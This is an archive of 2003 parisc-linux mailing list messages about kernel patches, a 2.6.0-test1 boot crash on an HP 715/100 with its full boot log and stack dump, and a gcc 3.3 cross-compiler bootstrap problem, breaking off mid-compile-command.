> I will so tried now to port forward gg __canonicalize... stuff and gcc-3.3.

I just reboot a 2.6.0... with your 2.4 patch about __canoncalize... and it
works also.
Can you ci it into 2.6 too.

Thanks in advance,
    Joel

PS: :_( led on front of my b180 doesn't flash anymore (just a joke)

------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Gabert <pappy@nikita.ath.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] E35 boots gentoo hppa beta04 into kernel fault
Date: Tue, 15 Jul 2003 20:37:48 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <20030715183748.GA8904@nikita.ath.cx>
References: <20030715165758.GA10544@nikita.ath.cx> <20030715173525.GX23808@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622600 27936 80.91.229.3 (22 Nov 2014 02:16:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 15 12:39:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout11.sul.t-online.com (mailout11.sul.t-online.com [194.25.134.85])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E7C5482D
	for <parisc-linux@parisc-linux.org>; Tue, 15 Jul 2003 12:39:05 -0600 (MDT)
Original-Received: from fwd09.aul.t-online.de 
	by mailout11.sul.t-online.com with smtp 
	id 19cUhZ-0001ig-07; Tue, 15 Jul 2003 20:39:01 +0200
Original-Received: from nikita.ath.cx (XpoTQYZYoeCbwFCk7yIP5cQMIq8U85KgqIRkgR6Y+0AgT1SRC+QEsy@[217.89.10.241]) by fmrl09.sul.t-online.com
	with esmtp id 19cUhN-1g7U9I0; Tue, 15 Jul 2003 20:38:49 +0200
Original-Received: from nikita.ath.cx (localhost.localdomain [127.0.0.1])
	by nikita.ath.cx (8.12.3/8.12.3/Debian-6.4) with ESMTP id h6FIbnbG002408;
	Tue, 15 Jul 2003 20:37:54 +0200
Original-Received: (from pappy@localhost)
	by nikita.ath.cx (8.12.3/8.12.3/Debian-6.4) id h6FIbmGp031783;
	Tue, 15 Jul 2003 20:37:48 +0200
Content-Disposition: inline
In-Reply-To: <20030715173525.GX23808@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Seen: false
X-ID: XpoTQYZYoeCbwFCk7yIP5cQMIq8U85KgqIRkgR6Y+0AgT1SRC+QEsy@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18944

thank you very much,

here is the output from palinux-2.4.20-pa35-20030513-netinst.iso
with the ttyB0 console:

http://nikita.ath.cx/users/pappy/hppa/e35/boot_netinst_pateam/noscsi.txt

thanks again, willy :-)

bye,

Alex


From - Thu Nov 08 21:28:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel 2.6.0-test1-pa0 crashes
Date: Tue, 15 Jul 2003 21:33:40 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <3F145714.9020709@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622600 27937 80.91.229.3 (22 Nov 2014 02:16:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 15 13:40:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F026482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jul 2003 13:40:16 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157027204.dialin.heagmedianet.de [213.157.27.204])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h6FJe8l6021864
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jul 2003 21:40:11 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18945

Hi,

yesterday I compiled the shiny new 2.6.0-kernel and tried to boot it on 
my 715/100. But it crashed right after the message "Freeing memory..."
Kernel was compiled with gcc-3.3.

Has anyone an idea why it crashed? Full System.map and Config-File is 
there: http://rscholz.bluehash.de/parisc .

TIA,
    Rdiger Scholz



From - Thu Nov 08 21:28:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.6.0-test1-pa0 crashes
Date: Tue, 15 Jul 2003 21:37:35 +0200
Lines: 410
Approved: news@gmane.org
Message-ID: <3F1457FF.7040301@hrzpub.tu-darmstadt.de>
References: <3F145714.9020709@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------020209020800070707060502"
X-Trace: ger.gmane.org 1416622601 27941 80.91.229.3 (22 Nov 2014 02:16:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 15 13:46:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44A51482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jul 2003 13:45:59 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157027204.dialin.heagmedianet.de [213.157.27.204])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h6FJiCl6022861
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jul 2003 21:45:05 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <3F145714.9020709@hrzpub.tu-darmstadt.de>
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18946

This is a multi-part message in MIME format.
--------------020209020800070707060502
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 8bit

Sorry, forgot the bootlog....

Rdiger Scholz schrieb:

> Hi,
>
> yesterday I compiled the shiny new 2.6.0-kernel and tried to boot it 
> on my 715/100. But it crashed right after the message "Freeing memory..."
> Kernel was compiled with gcc-3.3.
>
> Has anyone an idea why it crashed? Full System.map and Config-File is 
> there: http://rscholz.bluehash.de/parisc .
>
> TIA,
>    Rdiger Scholz
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>


--------------020209020800070707060502
Content-Type: text/plain;
 name="gandalf-2.6.0-test1.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="gandalf-2.6.0-test1.log"



----------------------------------------------------------------------------
BootRom Version    1.6  
Memory Size:  128 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1994, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.
----------------------------------------------------------------------------
Command                                Description
-------                                -----------
Auto [boot|search] [on|off]            Set/show auto mode
Boot [pri|alt [isl]]                   Boot from primary or alternate path
Boot [scsi|eisa.<slot>[.<addr>]] [isl] Boot from SCSI or EISA
Boot lan[.<addr>] [install] [isl]      Boot from LAN
Chassis [on|off]                       Set/show chassis codes display mode
DefaultSS                              Reboot and set EEPROM to default values
Diagnostic [on|off]                    Set/show diagnostic boot mode
Fastboot [on|off]                      Set/show fast boot mode
Help                                   Show this command menu
Information                            Show system information
LanAddress                             Show LAN station addresses
Monitor [<DEV>[.<type>]]               Set/show graphics monitor type
                                       (<DEV>=graphics|graphics_<1|2>)
Path [pri|alt [<DEV>[.<addr>]]]        Set/show boot source path
                                       (<DEV>=lan|scsi|eisa.<slot>)
Path [console [<DEV>[.<parm>]]]        Set/show boot console path
                                       (<DEV>=<RS232>|<GRAPH>
                                        <RS232>=rs232|rs232_2
                                        <parm>=<baud>.<length>.<parity>
                                        <GRAPH>=graphics|graphics_<1|2>
                                        <parm>=<monitor>)
Path [keyboard [hil|ps2]]              Set/show boot keyboard path
Pim [hpmc|toc|lpmc]                    Show PIM info
Search [ipl] [scsi|eisa]               Show potential boot devices
Search [ipl] [lan [install]]           Show potential boot LAN devices
Secure [on|off]                        Set/show security mode
----------------------------------------------------------------------------
BOOT_ADMIN> bo priipl


Not a boot path

BOOT_ADMIN> bo pri ipl





Attempting to boot.

Loading Initial Program Loader


IPL successfully loaded


Booting
palo ipl 1.2 root@b2000 Tue Jan 14 13:13:07 MST 2003


Partition Start(MB) End(MB) Id Type


1               1      22   f0 Palo

2              23      64   83 ext2

3              65     194   82 swap

4             195    2046   83 ext2


PALO(F0) partition contains:

    0/vmlinux32 3223985 bytes @ 0x48000


Information: No console specified on kernel command line. This is normal.

PALO will choose the console currently used by firmware (serial).Current command line:

2/vmlinux root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102

 0: 2/vmlinux
 1: root=/dev/sda4
 2: HOME=/
 3: devfs=mount
 4: console=ttyS0
 5: TERM=vt102

Edit which field?

(or 'b' to boot with this command line)? 0

2/vmlinux-2.6.0-test1-pa0

Current command line:

2/vmlinux-2.6.0-test1-pa0 root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102
 0: 2/vmlinux-2.6.0-test1-pa0
 1: root=/dev/sda4
 2: HOME=/
 3: devfs=mount
 4: console=ttyS0
 5: TERM=vt102

Edit which field?

(or 'b' to boot with this command line)? 0 b

Command line for kernel: 'root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.0-test1-pa0'
Selected kernel: /vmlinux-2.6.0-test1-pa0 from partition 2
ELF32 executable
Entry 00100220 first 00100000 n 3
Segment 0 load 00100000 size 2477712 mediaptr 0x1000
Segment 1 load 0035e000 size 389400 mediaptr 0x25e000
Segment 2 load 003c0000 size 303232 mediaptr 0x2be000
Branching to kernel entry point 0x00100220.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org


Linux version 2.6.0-test1-pa0 (root@gandalf) (gcc-Version 3.3.1 20030626 (Debian prerelease)) #1 Mon Jul 14 23:14:30 CEST 2003
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 000060b0 00000481 00000000 00000000 77b661a7 00000000 00000004 00000072 00000072
vers  0000000b
model 9000/715
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
  DMA zone: 32768 pages, LIFO batch:8
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Building zonelist for node : 0
Kernel command line: root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.0-test1-pa0
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Calibrating delay loop... 99.73 BogoMIPS
Memory: 126232k available
Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
-> /dev
-> /dev/console
-> /root
POSIX conformance testing by UNIFIX
Initializing RT netlink socket
EISA bus registered
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf4000000 [0], versions 0x4, 0x0, 0x77
2. Mirage GSC Builtin Graphics (10) at 0xf8000000 [1], versions 0x13, 0x0, 0x85
3. Mirage Core BA (11) at 0xf0100000 [2], versions 0x29, 0x0, 0x81
4. Mirage Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x29, 0x0, 0x82
5. Mirage Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x29, 0x0, 0x8a
6. Mirage Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x29, 0x0, 0x8c
7. Mirage Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x29, 0x0, 0x74
8. Mirage Audio (10) at 0xf0104000 [2/0/8], versions 0x29, 0x0, 0x7b
9. Mirage Core PC Floppy (10) at 0xf010a000 [2/0/10], versions 0x29, 0x0, 0x83
10. Mirage Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x29, 0x0, 0x84
11. Mirage Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x29, 0x0, 0x84
12. Mirage Wax BA (11) at 0xf0200000 [5], versions 0x13, 0x0, 0x8e
13. Mirage 100 Wax HIL (10) at 0xf0201000 [5/0/1], versions 0x13, 0x0, 0x73
14. Mirage Wax RS-232 (10) at 0xf0202000 [5/0/2], versions 0x13, 0x0, 0x8c
15. Mirage 100 (0) at 0xfffbe000 [8], versions 0x60b, 0x0, 0x4
16. Memory (1) at 0xfffbf000 [9], versions 0x4b, 0x0, 0x9
CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
Lasi version 0 at 0xf0100000 found.
LED display at f00e0000 registered
Wax at 0xf0200000 found.
BIO: pool of 256 setup, 14Kb (56 bytes/bio)
biovec pool[0]:   1 bvecs: 244 entries (12 bytes)
biovec pool[1]:   4 bvecs: 244 entries (48 bytes)
biovec pool[2]:  16 bvecs: 244 entries (192 bytes)
biovec pool[3]:  64 bvecs: 244 entries (768 bytes)
biovec pool[4]: 128 bvecs: 122 entries (1536 bytes)
biovec pool[5]: 256 bvecs:  61 entries (3072 bytes)
SCSI subsystem initialized
STI GSC/PCI core graphics driver Version 0.9a
STI byte mode ROM at f4000000, hpa at f4000000
STI id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI device: HPA4071A
STI word mode ROM at f0024000, hpa at f8000000
STI id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1024
fb0: stifb 1280x1024-8 frame buffer device, id: 2bcb015a, mmio: 0xf4100000
fb1: stifb 1024x768-8 frame buffer device, id: 2b4ded6d, mmio: 0xf8100000
Console: switching to colour frame buffer device 160x64
pty: 256 Unix98 ptys configured
VFS: Disk quotas dquot_6.5.1
Journalled Block Device driver loaded
devfs: v1.22 (20021013) Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x1
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
udf: registering filesystem
Initializing Cryptographic API
Gecko-style soft power switch enabled.
lp: driver loaded but no devices found
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ IRQ sharing enabled
ttyS0 at MMIO 0xf0105800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xf0202800 (irq = 121) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
PPP generic driver version 2.4.2
PPP Deflate Compression module registered
PPP BSD Compression module registered
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 7A DC 08 IRQ 87.
82596.c $Revision: 1.29 $
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2 
scsi0 : LASI SCSI 53c700
anticipatory scheduling elevator
scsi0: (2:0) Synchronous at offset 8, period 100ns
  Vendor: PLEXTOR   Model: CD-ROM PX-20TS    Rev: 1.01
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi0: (3:0) Synchronous at offset 8, period 100ns
  Vendor: SEAGATE   Model: ST32430N          Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
scsi0: (3:0) Enabling Tag Command Queuing
SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
SCSI device sda: drive cache: none
 /dev/scsi/host0/bus0/target3/lun0: p1 p2 p3 p4
Attached scsi disk sda at scsi0, channel 0, id 3, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.12
Attached scsi generic sg0 at scsi0, channel 0, id 2, lun 0,  type 5
Attached scsi generic sg1 at scsi0, channel 0, id 3, lun 0,  type 0
Console: switching to colour frame buffer device 160x64
mice: PS/2 mouse device common for all mice
Keyboard initialization sequence failled
input: PS/2 keyboard port at 0xf0108000 (irq 69) found and attached
input: PS/2 mouse port at 0xf0108100 (irq 69) found and attached
NET4: Linux TCP/IP 1.0 for NET4.0
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Mounted devfs on /dev
Freeing unused kernel memory: 300k freed

Stack Dump:
 10594758:  10594758 0000000e 10594340 10360010 
 10594748:  103c0f78 00000001 00000000 1027c1f0 
 10594738:  105946c0 105fcf5c 00000000 101368b4 
 10594728:  100ecb60 00010501 00000008 00088000 
 10594718:  00000000 10375810 10594340 105943c0 
 10594708:  0000001a 00000000 00000b98 00000001 
 105946f8:  00000001 00000001 00000001 10106200 
 105946e8:  10423b8c ffffffdd 10423810 10423810 
 105946d8:  0000000e 105946d0 1042563c 105946c8 
 105946c8:  105946c8 ffffffdd ffffffff 00000004 
 105946b8:  10594508 00000001 10594694 1012a3d8 
 105946a8:  10423b8c ffffffdd 10423810 10423810 
 10594698:  0000000e 1036e088 00000b00 00000008 
 10594688:  00000002 ffffffdd 10423810 00000000 
 10594678:  41000000 00000000 40800000 1012a174 
 10594668:  40000000 00000000 40000000 7fffffff 
 10594658:  00000000 00000000 10360080 80000000 
 10594648:  00000000 1040d010 00000002 00000000 
 10594638:  41000000 00000000 40800000 10107130 
 10594628:  7fffffff 00000000 41000000 7fffffff 
 10594618:  00000000 00000000 10360080 80000000 
 10594608:  00000000 1040d010 00000002 10585288 
 105945f8:  10594388 10095350 00000001 1010a088 
 105945e8:  101446c0 0000014c 17ffe640 00000007 
 105945d8:  0000000f 000018f1 10413a58 000018f1 
 105945c8:  0000190f 10412810 10594500 00000000 
 105945b8:  41000000 00000000 40800000 1010a068 
 105945a8:  40000000 17ed8060 17ffe640 17ffe640 
 10594598:  17ed8064 10174d10 00000b98 00000000 
 10594588:  48930130 0000000e 17ed8060 00000000 
 10594578:  41000000 00000000 40800000 10231100 
 10594568:  102310fc 00000000 00000000 00000000 
 10594558:  00000000 00000000 00000000 00000000 
 10594548:  00000000 00000000 00000000 00000000 
 10594538:  41000000 00000000 40800000 00000000 
 10594528:  40000000 00000000 40000000 7fffffff 
 10594518:  41800000 00000000 40200000 00000000 
 10594508:  40200000 00000000 40300000 00000000 
 105944f8:  41000000 00000000 40800000 7fffffff 
 105944e8:  7fffffff 00000000 41000000 7fffffff 
 105944d8:  7fffffff 00000000 40800000 00000000 
 105944c8:  41000000 7fffffff 7fffffff 00000000 
 105944b8:  00000000 00000010 00000010 00000000 
 105944a8:  41800000 00000000 00000000 00000000 
 10594498:  00000000 ffffffff 7f7fffff ffffffff 
 10594488:  7f7fffff 7fffffff 7fffffff 00000000 
 10594478:  40800000 00000000 00000000 00000000 
 10594468:  00000000 00000000 00000000 00000000 
 10594458:  00000000 00000000 00000000 00000000 
 10594448:  00000000 00000000 000d081f 10231e6c 
 10594438:  105943c0 00000005 00000b00 1035e010 
 10594428:  10381c50 00000002 105942cc 00000002 
 10594418:  10110ca4 00000501 00000000 00000001 
 10594408:  00000000 00000002 f000b858 f0000704 
 105943f8:  00000001 105942cc 00000000 103c0f78 
 105943e8:  10360010 10412810 17ed8064 00000002 
 105943d8:  00000002 00000008 00000b00 1036e088 
 105943c8:  102310f8 10381810 0004ff0f 00000000 
 105943b8:  10594340 00000000 00000000 102310f8 
 105943a8:  00412700 f0105800 f0105800 17f20448 
 10594398:  17f2c288 00000000 17f204b4 17f20448 
 10594388:  17f2c288 17ff7854 17f204b4 f0000704 
 10594378:  1036e088 00000b00 17edc8d8 00000001 
 10594368:  00000002 17ed8064 10412810 10360010 

Kernel addresses on the stack:
 [<10122618>] scheduler_tick+0x84/0x434
 [<10105f50>] parisc_terminate+0x54/0xa8
 [<101368b4>] rcu_process_callbacks+0x8c/0xf0
 [<10106200>] handle_interruption+0x25c/0x564
 [<1012a3d8>] tasklet_action+0x7c/0xdc
 [<1012a174>] do_softirq+0xf0/0xf8
 [<10107130>] do_cpu_irq_mask+0x88/0xfc
 [<1010a088>] intr_check_sig+0x0/0xc
 [<1010a068>] intr_return+0x0/0x14
 [<10231100>] init_dev+0x5c/0x4c8
 [<103c0f78>] start_kernel+0x4/0x200
 [<102310f8>] init_dev+0x54/0x4c8
 [<10231bec>] tty_open+0x90/0x394
 [<101442a0>] kmem_cache_alloc+0x188/0x1bc
 [<10165130>] chrdev_open+0xac/0x144
 [<1015c0e4>] get_empty_filp+0x60/0x124
 [<101bb7f0>] devfs_open+0xa0/0xd0
 [<1015a794>] dentry_open+0x12c/0x1b0
 [<1015a660>] filp_open+0x68/0x70
 [<10126c40>] printk+0x140/0x1b4
 [<1015aafc>] sys_open+0x70/0xb0
 [<101003e8>] init+0x5c/0x150
 [<10109c5c>] ret_from_kernel_thread+0x1c/0x24


Kernel Fault: Code=26 regs=105943c0 (Addr=00000b98)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 10381810 102310f8 1036e088
r04-07  00000b00 00000008 00000002 00000002
r08-11  17ed8064 10412810 10360010 103c0f78
r12-15  00000000 105942cc 00000001 f0000704
r16-19  f000b858 00000002 00000000 00000001
r20-23  00000000 00000501 10110ca4 00000002
r24-27  105942cc 00000002 10381c50 1035e010
r28-31  00000b00 00000005 105943c0 10231e6c
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 102310fc 10231100
 IIR: 48930130    ISR: 00000000  IOR: 00000b98
 CPU:        0   CR30: 10594000 CR31: 103b5000
 ORIG_R28: 41000000
 IAOQ[0]: init_dev+0x58/0x4c8
 IAOQ[1]: init_dev+0x5c/0x4c8
 RP(r2): init_dev+0x54/0x4c8

--------------020209020800070707060502--



From - Thu Nov 08 21:28:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc 3.3 release x86->hppa64 failure?
Date: Wed, 16 Jul 2003 00:14:35 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <20030716041435.GE5715@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622601 27947 80.91.229.3 (22 Nov 2014 02:16:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 15 22:15:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F2F8482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jul 2003 22:15:46 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19cdgZ-0004yt-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jul 2003 00:14:35 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (67% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18947

Has anyone recently tried to bootstrap an x86->hppa64 cross-compiler?
I'm going with cvs binutils, cvs gcc -rgcc_3_3_release.

'make boostrap'
---

make[2]: Entering directory
`/mnt/fatty/src/hppa-toolchain/gcc/build/gcc'
stage1/xgcc -Bstage1/
-B/mnt/fatty/src/hppa-toolchain/parisc/hppa64-linux/bin/ -c   -g -O2
-DIN_GCC -DCROSS_COMPILE  -W -Wall -Wwrite-strings -Wstrict-prototypes
-Wmissing-prototypes -Wtraditional -pedantic -Wno-long-long
-DHAVE_CONFIG_H -DGENERATOR_FILE    -I. -I. -I../../gcc/gcc
